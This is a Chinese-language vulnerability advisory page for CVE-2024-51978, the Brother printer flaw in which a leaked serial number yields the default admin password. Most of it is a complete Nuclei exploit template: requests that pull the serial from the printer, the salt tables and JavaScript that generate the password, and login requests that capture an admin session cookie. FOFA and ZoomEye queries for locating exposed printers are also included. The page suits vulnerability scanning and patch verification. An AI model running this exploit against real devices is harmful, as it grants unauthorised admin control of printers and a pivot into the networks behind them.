Brother Printers Authentication Bypass via Default Admin Password Vulnerability

漏洞信息

漏洞名称： Brother Printers Authentication Bypass via Default Admin Password Vulnerability

漏洞编号：

• CVE： CVE-2024-51978

漏洞类型： 权限绕过

漏洞等级： 严重

漏洞描述： Brother打印机是一款广泛使用的打印设备，常见于企业和家庭环境中，提供打印、扫描和复印等功能。由于其广泛部署，安全漏洞的影响范围较大。该漏洞属于权限绕过类型，技术根源在于设备通过未认证的HTTP、HTTPS、IPP、SNMP或PJL请求泄露设备的序列号，攻击者可以利用泄露的序列号生成设备的默认管理员密码。这种设计缺陷使得攻击者无需任何认证即可获取设备的完全控制权限。此漏洞的严重性在于它允许远程攻击者完全绕过认证机制，直接访问设备的管理界面，执行任意操作，如更改设备设置、窃取敏感信息或利用设备作为跳板进行进一步的网络攻击。由于漏洞利用过程无需用户交互，且可以自动化执行，因此极大地增加了被大规模利用的风险。

产品厂商： Brother

产品名称： Brother Printers

搜索语法： app=”brother-Printer”

来源： https://github.com/projectdiscovery/nuclei-templates/blob/08b6161ed1369a933d5b14dbca80e8a15bc56509/http%2Fcves%2F2024%2FCVE-2024-51978.yaml

类型： projectdiscovery/nuclei-templates:github issues

POC详情

id: CVE-2024-51978

info:
  name: Brother Printers – Authentication Bypass via Default Admin Password
  author: iamnoooob,pdresearch,MathematicianGoat
  severity: critical
  description: |
    By leaking a target device's serial number, a remote attacker can generate the target device's default administrator password. The target device may leak its serial number via unauthenticated HTTP, HTTPS, IPP, SNMP, or PJL requests.
  reference:
    - https://www.rapid7.com/blog/post/multiple-brother-devices-multiple-vulnerabilities-fixed
    - https://github.com/sfewer-r7/BrotherVulnerabilities
    - https://support.brother.com/g/b/faqend.aspx?c=eu_ot&lang=en&prod=group2&faqid=faq00100846_000
    - https://nvd.nist.gov/vuln/detail/CVE-2024-51978
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-51978
    cwe-id: CWE-1391
  metadata:  
    fofa-query: app="brother-Printer"
    zoomeye-query: device="brother-Printer" || app="brother-Printer"
  tags: cve,cve2024,brother,authenticated,default-login

# Flow: Extract serial → Generate password → Login attempt
flow: |
  http(1)
  javascript()
  http(2)
  if(template.csrf){
   http(4)
  } else {
   http(3)
  }

javascript:
  - code: |
      let SALT_LOOKUP_TABLE = [
          0x06, 0x1A, 0x80, 0x93, 0x90, 0x60, 0xA4, 0x18, 0x76, 0xA8, 0xFA, 0x98, 0x58, 0x25, 0x5F, 0xBA,
          0x24, 0xCF, 0xDD, 0xB6, 0xD0, 0xE3, 0x7A, 0x68, 0x41, 0x8B, 0x21, 0x15, 0x7E, 0x65, 0x70, 0x7F,
          0x8C, 0x91, 0x3B, 0xFC, 0x13, 0x4A, 0xBE, 0xD7, 0x6C, 0x99, 0xC3, 0xD1, 0x51, 0x35, 0xDF, 0x23,
          0xB0, 0x3F, 0x3D, 0x16, 0x29, 0xA1, 0x59, 0xCA, 0xA2, 0x5C, 0x43, 0x0B, 0xA5, 0x36, 0xF0, 0xFE,
          0x3E, 0xED, 0xF2, 0xE6, 0xEA, 0x54, 0x66, 0x7D, 0xEE, 0x3C, 0x50, 0xEF, 0x9E, 0xD3, 0xB1, 0xF7,
          0xAC, 0x5A, 0x6E, 0x12, 0x2A, 0x01, 0x46, 0x8F, 0x6B, 0x88, 0x0E, 0x52, 0xF9, 0x81, 0xA0, 0x02,
          0xC1, 0xF1, 0xE9, 0xC2, 0xF6, 0x33, 0xCB, 0xB3, 0x73, 0x17, 0xFD, 0x6F, 0xF4, 0xEC, 0x84, 0xC6,
          0x47, 0xCE, 0x9F, 0xD5, 0x92, 0x85, 0x53, 0x26, 0x27, 0x62, 0xEB, 0xAE, 0x3A, 0x1F, 0x0F, 0x94,
          0x95, 0x82, 0x8E, 0x42, 0x28, 0xB9, 0xBF, 0xAF, 0xD4, 0x48, 0xD9, 0xC5, 0x4C, 0x64, 0x2B, 0x8D,
          0xF8, 0xAA, 0xC4, 0x63, 0x87, 0xE4, 0x1D, 0xA6, 0x14, 0xCD, 0xBB, 0xC0, 0xE5, 0xDA, 0x37, 0xC9,
          0xE8, 0xB8, 0x67, 0xDC, 0x5D, 0xA7, 0xAD, 0x79, 0x44, 0xF3, 0x83, 0xA9, 0x1B, 0x96, 0x89, 0xAB,
          0x45, 0xBC, 0x1C, 0xB4, 0xE1, 0x20, 0x2F, 0x49, 0x22, 0x86, 0xDB, 0x4E, 0xE0, 0x9B, 0x10, 0x19,
          0x97, 0x61, 0x40, 0x78, 0x5E, 0x39, 0xCC, 0x0D, 0x09, 0x9D, 0x34, 0x0C, 0x2E, 0x0A, 0x77, 0x6D,
          0xDE, 0xC7, 0xD8, 0xA3, 0xE2, 0x56, 0xB5, 0x4B, 0x38, 0x74, 0x8A, 0xBD, 0x6A, 0x4F, 0x07, 0x03,
          0x05, 0xFF, 0xF5, 0x31, 0x1E, 0xE7, 0xD2, 0x2D, 0x69, 0xC8, 0x5B, 0xD6, 0x57, 0x75, 0x7C, 0xB2,
          0x72, 0xB7, 0x2C, 0xFB, 0x11, 0x9C, 0x7B, 0x32, 0x55, 0x30, 0x71, 0x04, 0x9A, 0x4D, 0x08, 0x100
        ]
      let SALT_DATA_TABLE = [
          'aiaFrJAn', 'FuUcjKwa', 'cMnDTitZ', 'RuSfzwJC', 'XXrLDVub', 'znimXRSU', 'dLdJgcZf', 'rgm32u2x',
          '7HOLDhk\'', 'ENbuNZVy', 'eCd6Ygyf', 'gmLt2GuL', '5dhjHet3', 'nPtN7h23', '47rdTTV7', 'KAkaSzWh',
          's3m7wwW2', 'wtBGnGjn', 'H3LyF$dd', 'H6EtSew2', 'D9N8iJBB', 'tPT4ZKm3', 'XEEV4tjf', 'zDXx93rw',
          'HKkmbGjD', 'ng5sLECe', 'QrPVDngu', 'LPMhpZe9', 'uLzhjUwc', 'Sa9QBKW2', 'AfrPdj7y', 'ujmt9s72',
          'n8Y7XrFx', '8xeRU7rW', 'RUzpQznp', '%hU5RMxP', 'ipaZKMEW', 'chP5cHCy', 'b5UJabgU', 'WtZsF7VF',
          'xk8wg669', 'gAVynzbw', 'GuRgNxkm', 'UBCAUb85', 'CQgQhyfp', 'fcEegCtB', '5LSpTNPN', 'dzrQdahF',
          'kD4fHLhM', 'mHQ6QAUg', 'TjZ6kiAb', '5SMdwEK6', 'RD2ytHHH', 'XgQHBfBY', '6ZZRVbHx', 'BNDUsFCC',
          'iSwrrtpr', 'ucBFJbGj', 'Nzs7rhKJ', 'uHugTJX5', 'aXN3FsUF', 'uyHDwwUK', 'tbnJTYje', 'SmgfLZ2n',
          '4sXy9D8j', 'YLVSee68', '3U5TbNNS', 'QjYfTBKu', 'T*8AF8dk', 'F8xQDTrW', 'Pyeda62U', '33sghDrE',
          'ThiW9Naz', 'BU9TDd7k',
          '72sgwM&G', 'VkV+uSUt', 'HpTdi9jL', 'G3AbGyAH', 'zbW8YCSy', 'eKB25SCe',
          'rbzpCtQN', 'EZSRB966', 'nJAxxUbS', '7GZRAG9E', 'PaMCwYGQ', 'TZy2AeYr', 'jMgYEPUT', '6QAepcUc',
          'jdWU9pXy', 'CeZs6T8g', 'jEEDBNPn', 'fCHg4V5W', 'rTUUjyPG', '3L5SNJhr', 'XbXK4Lg9', 'ZcdGAzLH',
          'ANfMJ&6p', 'S4URfyzc', 'Pai9muCn', 'Nei%6NwR', 'BnUWBHg6', 'FwGyWrux', 'mwkuuGXX', 'WR$LK5Qu',
          'Lxs4DgNM', 'KAYMHcKy', 'UnWYeeUp', '2cc3EzeX', '7nVPpdCd', 'LDPgHa9b', 'Yfwsz7zR', 'tGhb9Ych',
          'Gxi4S8jC', 'QEiWU2cm', 'PFhyTxjN', 'LrpTgGLw', 'PUfziDzE', 'ACbmRneN', 'gYmjyNjF', 'RuZctKSS',
          'k8KdHgDB', 'pJEA3hSG', 'X6rbghrk', '9mnbf3up', '4WU2hMHx', 'TgmNEn45', 'zRnQReEn', 'DfsPzxsX',
          'UyScxhhw', 'knEsS3CX', 'xuPUKwFf', 'Ks4nKt2z', 'trBf!b67', 'rhHgt4gX', '2N8sPf#d', 'eFMjhMcB',
          'aWLeRu9M', '4MiN4D63', '5nG9jMGh', 'SA5pnyQ6', 'UnSQ94nx', 'kPjzBBxy', '6CppHT3R', '3VPgRgiL',
          'cP9JJDJr', 'MyMWzUMj', 'xyG4ACEd', 'dbnAbG8e', 'RnHGYc6F', 'ktCQnJWk', 'XBt5Vxr2', 'wH6iY9f9',
          'atB4eri8', '8SdHujf8', 'inLRdn5s', 'Fh3N*pWc', 'Fb3XYtZz', 'GADACWcS', 'r8tsDgph', 'EumHNmFg',
          'rRFKrK2x', 'TQ9nUnNk', 'P5hss6GX', 'mX8ZSQtr', 'BJMjyd7H', 'EC7r5fEm', 'TPjQpDaa', 'SZeMDpfR',
          'XEDJeraW', 'YYNTgsah', '6uupfWF!', '7RcTLwHX', 'ycYr3dwT', '7VwCnTFQ', 'JGF6iigf', 'M72Kea4f',
          'ZxfZWbVb', 'NcT3LGBV', 'HBU68uaa', 'UeHK4pnf', 'sDjzNHHd', 'CGjgeutc', 'PC4JbuC2', 'tNYQc7Xs',
          'RGNsJQhD', 'HKEh2fba', '49x4PLUz', 'N6MLNkY5', 'NrMHeE9d', 'j5NkznV4', 'n8At3YKi', 'ZnHwAEnZ',
          '3LnUmF8E', 'RBXzdUpA', 'FwGHBVej', '3wkkik7E', 'fpyGnp2u', 'ANBwfiPb', 'Ztt8X9zG', '47K7QWix',
          'TzJfUdNY', 'hpD?MEAm', 'sJRh4Jni', 'TyQUgEEH', 'FBJnWWwx', '7cN3GH6e', 'hWQhzFTN', 'GamDhsgZ',
          'yXM4cZKt', '9BJPKtaC', 'NVNpe4kJ', 'uSyxGxbz', 'h5zTpV3U', 'TAajcQ4h', 'VjYMEusS', 'Wpj237VG',
          'yAjHYVVV', 'Hb6k7Cwe', 'yZbuDBEi', 'S4wpBmZM', 'DwFra8wk', 'j#Pk5r9W', 'PjkfS9WB', 'gHf3YGA3',
          'ihDtdUCu', 'KARzJDfR', 'M7fApB5U', 'MiD44gRC', 'RdEM8y5W', '4GsGuPag', 'pETQc4k2', 'pZZu7Ras',
          'AJReAUBy', 'EAMmQsWe', 'BeC2XJi8', 'PujT2eRf', '2UXLeAJu', 'hMPbY3MQ', 'QeawRP*p', 'SbCbW9Tf',
          'EhNNtLyj', 'B8RjceGs', 'LaydmLeD', 'JFR7T47f', 'WCbAdTfm', 'srN9gNSE', 'gAn7h8Yp', '4PnTKVse',
          'HDxGwLsN', 'tR8XUSRg', 'wLe-3Xf8', 'zH7cpxsd', 'tCc5sWFX', '3hzTj5BS',
          'hLK6f&g4', 'tCzzSsm7'
        ]
          function strToCharCodes(str) {
              const arr = [];
              for (let i = 0; i < str.length; ++i) arr.push(str.charCodeAt(i));
              return arr;
          }

          function generateDefaultPassword(serial, saltLookupIndex = 254, saltData = null) {
              if (!(0 <= saltLookupIndex && saltLookupIndex < SALT_LOOKUP_TABLE.length)) {
                  throw new Error('SaltLookupIndex must be between 0 and 255');
              }

              if (saltData === null && saltLookupIndex !== 0) {
                  const saltTableIndex = SALT_LOOKUP_TABLE[saltLookupIndex];
                  if (saltTableIndex >= SALT_DATA_TABLE.length) {
                      throw new Error('Unknown salt table data at salt table index');
                  }
                  saltData = strToCharCodes(SALT_DATA_TABLE[saltTableIndex]);
              }

              if (!saltData || saltData.length !== 8) {
                  throw new Error('SaltData must be 8 bytes');
              }

              // Use nuclei's Buffer implementation
              const bytes = require('nuclei/bytes');
              const buffer = new bytes.Buffer();

              // Write the first 16 chars of serial as string
              buffer.WriteString(serial.slice(0, 16));

              // Prepare salt bytes in reverse order, minus 1
              const saltBytes = [
                  saltData[7] - 1, saltData[6] - 1, saltData[5] - 1, saltData[4] - 1,
                  saltData[3] - 1, saltData[2] - 1, saltData[1] - 1, saltData[0] - 1
              ];
              buffer.Write(saltBytes);

              // Get the buffer as a byte array
              result=buffer.Hex()
              return result;
          }
          generateDefaultPassword(serial)
    args:
      serial: "{{trim_space(replace(replace(replace_regex(srno,'(BR[A-Z0-9]+)',''),']',''),'[',''))}}"


http:
  - raw:
      - |
        GET /etc/mnt_info.csv HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - contains_all(body, 'Main Firmware Version','Model Name') && status_code == 200
        internal: true

    extractors:
      - type: regex
        part: body
        name: srno
        group: 1
        regex:
          - '"(\w{15})"'
        internal: true

  - raw:
      - |
        GET /general/status.html HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        part: body
        name: logbox
        group: 1
        regex:
          - 'id="LogBox" name="(.*?)"'
        internal: true

      - type: regex
        part: body
        name: csrf
        group: 1
        internal: true
        regex:
          - 'id="CSRFToken" name="CSRFToken" value="(.*?)"'

  - raw:
      - |
        POST /general/status.html HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        {{logbox}}={{urlencode(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr(base64(hex_decode(sha256(hex_decode(javascript_response)))),0,8),'l','#'),'I','$'),'z','%'),'Z','&'),'b','*'),'q','-'),'O',':'),'o','?'),'v','@'),'y','>'))}}&loginurl=/general/status.html&CSRFToken=

    matchers:
      - type: dsl
        dsl:
          - 'status_code==200 || status_code == 301'
          - 'contains(set_cookie,"AuthCookie=") && !contains(location,"/etc/passerror.html")'
        condition: and

    extractors:
      - type: dsl
        name: login_password
        dsl:
          - replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr(base64(hex_decode(sha256(hex_decode(javascript_response)))),0,8),'l','#'),'I','$'),'z','%'),'Z','&'),'b','*'),'q','-'),'O',':'),'o','?'),'v','@'),'y','>')


  - raw:
      - |
        POST /general/status.html HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        {{logbox}}={{urlencode(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr(base64(hex_decode(sha256(hex_decode(javascript_response)))),0,8),'l','#'),'I','$'),'z','%'),'Z','&'),'b','*'),'q','-'),'O',':'),'o','?'),'v','@'),'y','>'))}}&loginurl=/general/status.html&CSRFToken={{urlencode(csrf)}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code==200 || status_code == 301'
          - 'contains(set_cookie,"AuthCookie=") && !contains(location,"/etc/passerror.html")'
        condition: and

    extractors:
      - type: dsl
        name: login_password
        dsl:
          - replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr(base64(hex_decode(sha256(hex_decode(javascript_response)))),0,8),'l','#'),'I','$'),'z','%'),'Z','&'),'b','*'),'q','-'),'O',':'),'o','?'),'v','@'),'y','>')